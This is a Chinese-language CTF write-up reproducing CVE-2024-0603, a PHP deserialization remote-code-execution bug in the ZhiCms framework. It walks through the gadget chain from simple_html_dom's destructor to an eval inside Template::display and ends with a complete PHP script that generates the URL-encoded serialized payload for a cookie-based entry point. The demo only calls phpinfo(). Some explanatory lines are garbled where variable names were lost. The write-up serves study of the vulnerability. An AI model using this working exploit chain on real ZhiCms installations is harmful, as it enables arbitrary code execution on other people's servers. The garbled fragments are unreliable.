前言
本题是2024VNCTF的一道1day,也就是CVE-2024-0603,后面笔者对该php框架进行了复现
参考链接
https://pysnow.cn/archives/715/
分析
我们来分析一波 首先 网上就有个反序列化入口点 在http://zhicms.com/index.php?r=plug/gift/mylike路由传cookie就能反序列化 通过公开的信息可以发现漏洞入口位于app/plug/controller/giftcontroller.php
simple_html_dom::destruct() -> simple_html_dom::clear() -> MemcacheDriver::clear() ->simple_html_dom_node::toString() ->simple_html_dom_node::outertext() -> Template::display() -> Template::compile()
最后是通过控制compile方法的返回值进行eval代码执行的
一步步来 首先从析构函数__destruct开始找起,发现ZhiCms\ext\simple_html_dom的函数是个好东西
namespace ZhiCms\ext;
class simple_html_dom_node
{
private $dom = null;
function __toString()
{
return $this->outertext();
}
function outertext()
{
if ($this->dom && $this->dom->callback!==null)
{
call_user_func_array($this->dom->callback, array($this));
}
}
}
class simple_html_dom
{
public $callback = null;
protected $parent;
// .......
function __destruct()
{
$this->clear();
}
// .......
function clear()
{
foreach ($this->nodes as $n) {$n->clear(); $n = null;}
// This add next line is documented in the sourceforge repository. 2977248 as a fix for ongoing memory leaks that occur even with the use of clear.
if (isset($this->children)) foreach ($this->children as $n) {$n->clear(); $n = null;}
if (isset($this->parent)) {$this->parent->clear(); unset($this->parent);}
if (isset($this->root)) {$this->root->clear(); unset($this->root);}
unset($this->doc);
unset($this->noise);
}
// .......
}
可以看出他调用了自己的clear方法,我们跟进clear方法,发现$this->parent->clear(),parent我们可控,可以调用任意类的parent方法或者__call方法,我们可以利用这里去调用MemcacheDriver类中的clear()方法
namespace ZhiCms\base\cache;
class MemcacheDriver implements CacheInterface{
protected $mmc = NULL;
protected $group = '';
protected $ver = 0;
public function clear() {
return $this->mmc->set($this->group.'_ver', $this->ver+1);
}
}
return this->group.'_ver', $this->ver+1);
关键这一句将$this->group拼接字符串'_ver',所以可以触发simple_html_dom_node中的toString()方法
而toString()方法调用了outertext()方法,而这个方法中存在call_user_func_array()函数可以调用匿名函数
if (
Misplaced &
this->dom->callback!==null){call_user_func_array($this->dom->callback, array($this));}
仔细分析这一段代码,如果
和
this->dom->callback存在,就将$this->dom->callback作为回调函数调用,这里已经可以执行phpinfo了,继续往下走可以找到Template中的display函数
$dom->callback=array(new Template(),"display");
Template中的display函数 存在这两句关键代码
extract($this->vars, EXTR_OVERWRITE);
eval('?>' . $this->compile( $tpl, $isTpl));
调用了complie()方法,然后将返回值拼接在 eval函数里面,所以我们其实能控制complie的返回值就能成功执行了,再看看 complie() 方法
namespace ZhiCms\base;
class Template {
protected $config =array();
protected $label = null;
protected $vars = array();
protected $cache = null;
public function display($tpl = '', $return = false, $isTpl = true ) {
if( $return ){
if ( ob_get_level() ){
ob_end_flush();
flush();
}
ob_start();
}
extract($this->vars, EXTR_OVERWRITE);
eval('?>' . $this->compile( $tpl, $isTpl));
if( $return ){
$content = ob_get_contents();
ob_end_clean();
return $content;
}
}
}
这个我来解释一下 就是关键在首先isTpl要为false 这里的
和
isTpl实际上是不可控的,但是display()方法中还有一段 extract(this->vars变量是可控的,所以这里我们可以利用extract()的变量覆盖将$tpl和$isTpl覆盖为我们想要的值,就可以实现任意命令执行
this->cache->get(tplkey));
接着我们可以控制
this->cache=namespace ZhiCms\base 的Cache类 然后掉用他的call方法
通过赋值$this->config = array("CACHE_TYPE"=>"FileCache","MEM_GROUP"=>"tpl"); 我们可以看见
return call_user_func_array(array(self::this->cache], $method), $args); 结合前面的触发call方法的是set方法,他这里实际是调用了FileCacheDriver类的set方法
然后对直接md5加密的进行解密返回最终也就是complie函数的返回值,实现RCE
给个最后的链子吧
<?php
namespace ZhiCms\base{
class Cache{
protected $config;
protected $cache = 'default';
public $proxyObj=null;
public $proxyExpire=1800;
public function __construct()
{
$this->config=array("CACHE_TYPE"=>"FileCache");
}
}
class Template{
protected $vars;
protected $cache;
public function __construct()
{
$this->cache=new Cache();
$this->vars = array("tpl"=>"<?php phpinfo();?>","isTpl"=>false);
}
}
}
namespace ZhiCms\base\cache{
use ZhiCms\ext\simple_html_dom_node;
use ZhiCms\base\Cache;
class MemcachedDriver{
protected $mmc = NULL;
protected $group = '';
protected $ver = 0;
public function __construct()
{
$this->mmc = new Cache();
$this->group=new simple_html_dom_node();
}
}
}
namespace ZhiCms\ext{
use ZhiCms\base\cache\MemcachedDriver;
use ZhiCms\base\Template;
use ZhiCms\base\Cache;
class simple_html_dom
{
protected $parent;
public $callback;
public function __construct($obj)
{
$this->parent=$obj;
}
}
class simple_html_dom_node{
private $dom = null;
public function __construct()
{
$dom=new simple_html_dom("");
$dom->callback=array(new Template(),"display");
// $dom->callback="phpinfo";
$this->dom=$dom;
}
}
$mem = new MemcachedDriver();
$obj = new simple_html_dom($mem);
$final = serialize($obj);
echo urlencode($final);
}
至此复现成功